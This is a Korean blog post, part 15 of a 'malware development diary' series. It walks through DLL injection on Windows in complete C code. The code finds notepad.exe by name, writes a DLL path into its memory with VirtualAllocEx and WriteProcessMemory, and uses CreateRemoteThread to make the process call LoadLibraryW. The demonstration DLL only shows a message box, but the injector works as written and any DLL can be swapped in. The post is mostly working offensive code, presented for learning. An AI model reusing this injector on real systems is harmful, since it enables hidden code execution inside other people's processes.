악성코드와 백신/악성코드 개발일지

[악성코드 개발](15)[DLL-injection]

황올뱀 2026. 4. 9. 12:02

 

타겟 찾기

지난번엔 직접 타겟의 pid를 입력해서 쉘코드 인젝션을 수행했다.
그러나, 이번엔 자동으로 pid를 받아오게 만들겠다

  • CreateToolhelp32Snapshot: 메모리상에서 실행 중인 모든 프로세스(또는 스레드, 모듈)의 상태를 리스트 데이터 구조로 복사
    여기서 타겟 프로세스를 뒤짐
  • Process32First, Process32Next: 스냅샷 뒤지는데 사용
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>

// 타겟 프로세스 이름을 주면 PID를 반환하는 함수
DWORD GetProcessIdByName(const wchar_t* processName) {
    DWORD pid = 0;

    // 1. 스냅샷 생성
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0; 
    }

    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W); 

    // 2. 리스트 순차 탐색
    if (Process32FirstW(hSnapshot, &pe32)) {
        do {
            // 프로세스 이름을 비교해 찾음
            if (_wcsicmp(pe32.szExeFile, processName) == 0) {
                pid = pe32.th32ProcessID; 
                break; 
            }
        } while (Process32NextW(hSnapshot, &pe32));
    }

    // 3. 핸들 정리
    CloseHandle(hSnapshot);
    return pid;
}

int main() {
    DWORD targetPID = GetProcessIdByName(L"notepad.exe");
    return 0;
}

 

DLL injection

타겟 프로세스가 Loadlibrary를 강제로 호출하게 만들어 악성 dll을 메모리에 올리는 기법
이떄 악성 dll은 DllMain함수의 자동 동작으로 악성행위를 함
DLL_PROCESS_ATTACH를 이용
(악성코드 개발 4 참고)

  • LoadLibrary를 어케 찾는가?
    윈도우는 성능을 위해 kernel32.dll이나 ntdll.dll같은 핵심 시스템 dll은 메모리에 딱 한번 올림
    -> 그리고 이 안에 포함된 API 함수는 모든 프로세스에서 같은 주소에 매핑됨
    --> 따라서 로컬에서 LoadLibrary의 위치를 찾으면 됨

 

dll 인젝션 프로세스

  1. LoadLibraryW의 주소를 찾음
    GetModuleHandleW를 통해 kernel32의 핸들을 얻고
    GetProcAddress를 통해 핸들에서 함수의 주소를 찾음
  2. 해당 표적에 쓸 공간을 만듬
    VirtualAllocEX로 외부 프로그램에 메모리를 할당
       이떄 표적의 핸들을 넣어줘야 함
    반환값으로 할당된 메모리 주소를 얻음
  3. 표적에 내 dll 주소를 적음
    WriteProcessMemory로 커널에 요청
       표적의 핸들, 쓸 주소를 넣어줘야 함
  4. 표적 프로세스가 악성 dll 실행
    CreateRemoteThread로 원격으로 LoadLibrary를 호출하는 쓰레드 생성

관련 함수 정리

HMODULE GetModuleHandleW(
    LPCWSTR lpModuleName // dll또는 exe의 이름
);
FARPROC GetProcAddress(
  HMODULE hModule,   // 대상 핸들
  LPCSTR  lpProcName // 함수 이름
);

 

코드 구현

dll은 악성코드 개발 10에서 만든 messagebox를 띄우는 dll을 사용하겠다

#include <stdio.h>
#include <Windows.h>

VOID MsgBoxPayload() {
    MessageBoxA(NULL, "you are cooked", "Excuse me?", MB_OK | MB_ICONINFORMATION);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MsgBoxPayload(); // 여기서 자동 실행이 됨
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

상대경로로 dll을 찾으면 외부 프로세스에서 실행할 때 경로가 꼬일 수 있음
따라서 같은 디렉토리에 dll이 있다는 가정 하에 절대경로를 반환하는 함수를 만들었다

BOOL GetDllPath(const wchar_t* dllName, wchar_t* outBuffer, DWORD bufferSize) {
    if (GetModuleFileNameW(NULL, outBuffer, bufferSize) == 0) {
        return FALSE; 
    }

    wchar_t* lastSlash = wcsrchr(outBuffer, L'\\');

    if (lastSlash != NULL) {
        *(lastSlash + 1) = L'\0';
        HRESULT hr = StringCchCatW(outBuffer, bufferSize, dllName);
        return TRUE;
    }
    return FALSE; 
}

거의 shellcode-injection의 코드와 비슷한데,
    PID를 자동으로 찾는 코드와
    LoadLibrary를 찾아
    CreateRemoteThread를 호출하는 인수만 조금 달라졌다

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <wchar.h>
#include <strsafe.h>

int main() {
    DWORD targetPID = GetProcessIdByName(L"notepad.exe");
    while (targetPID == 0) {
        targetPID = GetProcessIdByName(L"notepad.exe");
    }
    printf("[+] got victims's PID: %d\n", targetPID);

    HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
    FARPROC pLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryW");
    printf("[+] got LoadLibrary's address!\n");
    wchar_t dllPath[MAX_PATH] = { 0 };
    GetDllPath(L"DLL1.dll", dllPath, MAX_PATH);

    // 1. get victim's handle by OpenProcess
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
        FALSE,
        targetPID
    );
    if (hProcess == NULL) {
        printf("[-] OpenProcess error\n");
        return -1;
    }
    printf("[+] opening process success!\n");

    // 2. allocate space to write path by VirtualAlloc
    LPVOID ptr = VirtualAllocEx(
        hProcess,
        NULL,
        sizeof(dllPath),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    printf("[+] virtualalloc success!\n");

    // 3. write dll's path in process
    WriteProcessMemory(
        hProcess,
        ptr,
        dllPath,
        sizeof(dllPath),
        NULL
    );
    printf("[+] write path in PID: %d success!\n", targetPID);

    // 4. create remote thread
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)pLoadLibrary, // LoadLibrary를
        ptr,                             // dll 경로를 인수로 실행
        0,
        NULL
    );
    printf("[+] process injection success!\n", targetPID);

    if (hThread != NULL) {
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }
    CloseHandle(hProcess);

    printf("[#] press <Enter> to Quit...\n");
    getchar();

    return 0;
}

 

notepad가 실행되기 전까지는 계속 프로그램이 while을 돌며 대기타다가..

 

notepad가 실행되는 순간
    PID를 받아오고
    notepad 프로세스 메모리에 LoadLibrary를 부른다!

반응형